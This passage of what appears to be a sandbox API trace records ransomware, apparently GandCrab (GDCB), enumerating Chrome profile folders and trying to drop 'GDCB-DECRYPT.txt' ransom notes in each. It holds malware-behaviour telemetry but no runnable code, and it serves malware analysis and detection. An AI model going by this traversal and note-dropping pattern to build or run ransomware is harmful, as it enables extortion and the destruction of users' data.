Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\previews_opt_out.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.418] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal") returned 282 [0171.418] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal") returned 282 [0171.418] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\QuotaManager") returned 267 [0171.418] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\QuotaManager") returned 267 [0171.418] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal") returned 275 [0171.418] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal") returned 275 [0171.418] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Secure Preferences") returned 273 [0171.418] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Secure Preferences") returned 273 [0171.418] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.419] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.419] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.419] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.419] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Service Worker\\\\GDCB-DECRYPT.txt") returned 287 [0171.419] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Service Worker\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\service worker\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.419] GetLastError () returned 0x3 [0171.419] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.419] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.419] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.419] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.419] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Session Storage\\\\GDCB-DECRYPT.txt") returned 288 [0171.419] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Session Storage\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\session storage\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.419] GetLastError () returned 0x3 [0171.419] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Shortcuts") returned 264 [0171.419] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Shortcuts") returned 264 [0171.419] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal") returned 272 [0171.419] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal") returned 272 [0171.419] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.419] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.419] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.419] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.419] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\\\GDCB-DECRYPT.txt") returned 296 [0171.420] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\sync extension settings\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.420] GetLastError () returned 0x3 [0171.420] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Top Sites") returned 264 [0171.420] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Top Sites") returned 264 [0171.420] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Top Sites-journal") returned 272 [0171.420] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Top Sites-journal") returned 272 [0171.420] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\TransportSecurity") returned 272 [0171.420] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\TransportSecurity") returned 272 [0171.420] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Visited Links") returned 268 [0171.420] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Visited Links") returned 268 [0171.420] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.420] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.420] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.420] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.420] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Web Applications\\\\GDCB-DECRYPT.txt") returned 289 [0171.420] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Web Applications\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\web applications\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.420] GetLastError () returned 0x3 [0171.420] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Web Data") returned 263 [0171.420] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Web Data") returned 263 [0171.420] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Web Data-journal") returned 271 [0171.420] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Web Data-journal") returned 271 [0171.421] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.421] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.421] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.421] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.421] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\EVWhitelist\\\\GDCB-DECRYPT.txt") returned 276 [0171.421] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\EVWhitelist\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\evwhitelist\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.421] GetLastError () returned 0x3 [0171.421] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.421] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.421] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.421] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.422] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\FileTypePolicies\\\\GDCB-DECRYPT.txt") returned 281 [0171.422] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\FileTypePolicies\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\filetypepolicies\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.422] GetLastError () returned 0x3 [0171.422] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\First Run") returned 256 [0171.422] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\First Run") returned 256 [0171.422] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Local State") returned 258 [0171.422] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Local State") returned 258 [0171.422] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.422] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.422] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.422] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.422] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\OriginTrials\\\\GDCB-DECRYPT.txt") returned 277 [0171.422] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\OriginTrials\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\origintrials\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.422] GetLastError () returned 0x3 [0171.422] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.422] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.422] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.422] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.422] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\PepperFlash\\\\GDCB-DECRYPT.txt") returned 276 [0171.422] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\PepperFlash\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\pepperflash\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.422] GetLastError () returned 0x3 [0171.422] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.423] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.423] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.423] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.423] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\pnacl\\\\GDCB-DECRYPT.txt") returned 270 [0171.423] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\pnacl\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\pnacl\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.424] GetLastError () returned 0x3 [0171.424] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Safe Browsing Bloom") returned 266 [0171.424] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Safe Browsing Bloom") returned 266 [0171.424] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Safe Browsing Bloom Prefix Set") returned 277 [0171.424] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Safe Browsing Bloom Prefix Set") returned 277 [0171.424] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs") returned 272 [0171.424] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs") returned 272 [0171.424] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs-journal") returned 280 [0171.424] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs-journal") returned 280 [0171.424] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Safe Browsing Cookies") returned 268 [0171.424] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Safe Browsing Cookies") returned 268 [0171.424] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Safe Browsing Cookies-journal") returned 276 [0171.424] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User 